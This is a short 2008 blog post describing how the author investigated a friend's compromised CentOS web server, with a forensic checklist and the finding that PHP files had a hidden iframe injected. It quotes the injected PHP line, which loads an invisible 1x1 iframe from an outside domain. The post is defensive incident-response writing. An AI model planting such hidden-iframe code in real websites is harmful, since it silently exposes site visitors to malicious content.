2008-05-06 Recovering from a hacked server

A friend of mine had a problem with a server in which a particular PHP script kept changing, including an iframe when it shouldn't.

I took the following steps to see what was happening. This can be used as a checklist.

• Checked /etc/passwd for strange accounts
• Did a 'ps -ef' to see what processes were running
• Checked /var/log/secure for strange logins through SSH
• Checked for other services running, for example FTP. Checked the logins on that as well.
• Checked /tmp to see whether any executables were present
• Checked Apache's default access logs
• Checked Apache's access logs for each virtual host, paying attention to POST requests
• Checked world-writeable and tmp directories in user home directories
• Checked what's in the crontabs
• Checked the OS version. In this case, found it by doing

  # cat /etc/redhat-release
  CentOS release 4.6

• Checked the vulnerability database to see what the vulnerabilities were for this particular server its OS, http://www.securityfocus.com/vulnerabilities
• Used yum to see what updates were outstanding

I found nothing weird in Apache's log files, no funny scripts et cetera.

In a bunch of PHP scripts, the following code was appended at the end:

 echo '<iframe src="http://apartment-mall.cn/ind.php" width="1" height="1"
 alt="YTREWQhej2Htyu" style="visibility:hidden;position:absolute"></iframe>';

Googling for this turned out it's a pretty common attack. Articles suggest it might be a compomised FTP account. Checking the changed files, the date of the files suggests it's done in one fell swoop.

To see what FTP servers are running:

  # ps -ef

In case I missed anything, see what ports are listened to:

  # netstat --listen --ip -T -p

The -T option won't cut off long addresses and the -p option will print the process that's doing the listening.

Found out in /var/log/messages that a script logged in around the same time that the files were modified.

The conclusion was that a full OS reinstall was done, with a thorough tightening-up and a code review.